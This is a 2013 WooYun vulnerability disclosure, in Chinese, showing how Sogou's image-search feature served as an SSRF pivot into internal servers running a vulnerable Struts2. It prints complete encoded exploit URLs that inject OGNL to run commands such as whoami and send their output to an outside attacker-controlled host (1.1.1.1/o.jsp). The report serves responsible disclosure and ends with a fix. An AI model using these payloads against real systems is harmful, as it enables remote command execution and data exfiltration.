当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041495

漏洞标题:通过搜狗某搜索功能扫描搜狗内网(续)之攻击内网struts2漏洞主机

相关厂商:搜狗

漏洞作者: lupin

提交时间:2013-10-30 18:05

修复时间:2013-12-14 18:05

公开时间:2013-12-14 18:05

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-30: 细节已通知厂商并且等待厂商处理中
2013-11-01: 厂商已经确认,细节仅向厂商公开
2013-11-11: 细节向核心白帽子及相关领域专家公开
2013-11-21: 细节向普通白帽子公开
2013-12-01: 细节向实习白帽子公开
2013-12-14: 细节向公众公开

简要描述:

通过搜狗正常对外搜索服务,攻击搜狗内网存在struts2漏洞的服务器。

详细说明:

几天发布了搜狗的这个漏洞: WooYun: 通过搜狗某搜索功能扫描搜狗内网
通过搜索图片功能可以访问到内网服务器,这次利用这个漏洞作为跳板攻击到了搜狗内部存在struts2漏洞的服务器。

漏洞证明:

在上次提到的漏洞中( WooYun: 通过搜狗某搜索功能扫描搜狗内网 ),使用图片搜索功能成功判断到了搜狗内部服务器的开放情况,搜集到了大量的服务器ip:

sg4.jpg


本来觉得除了扫描开放的服务器之外这个应该没有什么其他的利用价值了,不过仔细思考了一番,既然可以通过这个功能访问内网web服务器,那么如果发送一个代用攻击指令的url到了特定的内网服务器上,这个服务器恰好有漏洞,那么是不是就可以用这个搜索功能作为跳板攻击到搜狗内网了呢?
那么什么url具有攻击性呢?这里只能提交url,也就是说只能是get请求,于是我想到了前段时间闹得很凶的struts2命令执行漏洞,于是构造下面这样的url:
http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.x.x%3A80%2Findex.action%3Fredirect%3A%24%7Bnew%2520java.net.URL%28%27http%3A%2F%2F1.1.1.1%3A80%2Fo.jsp%3F192.168.x.x%27%29.openConnection%28%29.getInputStream%28%29%7D
解释一下,因为服务器在内网,而且又是通过这个搜索功能作为跳板,那么我就无法直接看到命令是否执行所以,通过java构造一个http请求,让他把信息get到我远程的jsp文件上去(http://1.1.1.1/o.jsp),返回的信息就是内网服务器的ip地址。
还是用程序跑:

sg.jpg


尝试了login.action、index.action,跑了半天没结果,后来想了一下,struts2官网提供过几个示例程序,很多开发人员都把他们部署在服务器上做参考,其中最简单的一个叫struts-blank,就是一个struts2框架的helloworld,于是构造类似这样的url,再跑一次:
http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.x.x%3A8080%2Fstruts2-blank%2Findex.action%3Fredirect%3A%24%7Bnew%2520java.net.URL%28%27http%3A%2F%2F1.1.1.1%3A80%2Fo.jsp%3F192.168.x.x%27%29.openConnection%28%29.getInputStream%28%29%7D
这次太幸运了,远程的o.jsp成功获得了一个ip地址:

sg1.jpg


接下来的事情就是针对这个ip构造执行命令的poc了,url如下:
http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.x.x%3A8080%2Fstruts2-blank%2Findex.action%3Fredirect%3A%24%7Bnew%2520java.net.URL%28%27http%3A%2F%2F1.1.1.1%3A80%2Fo.jsp%3F%27%252Bnew+java.io.BufferedReader%28new+java.io.InputStreamReader%28new+java.lang.ProcessBuilder%28%7B%27whoami%27%7D%29.start%28%29.getInputStream%28%29%29%29.readLine%28%29%29.openConnection%28%29.getInputStream%28%29%7D
就是通过struts2漏洞执行whoami命令,结果o.jsp上收到了命令执行结果:

sg2.jpg


执行pwd:

sg3.jpg


如果再变换一些action名称的话,估计还能找到一些存在漏洞的服务器,这里就不搞了,申请奖品啊。

修复方案:

赶紧把图片搜索功能做好访问控制吧,并且内网服务器里面的struts2漏洞也不是说外部利用不到,赶紧升级吧。

版权声明:转载请注明来源 lupin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-01 10:52

厂商回复:

感谢提供

最新状态:

暂无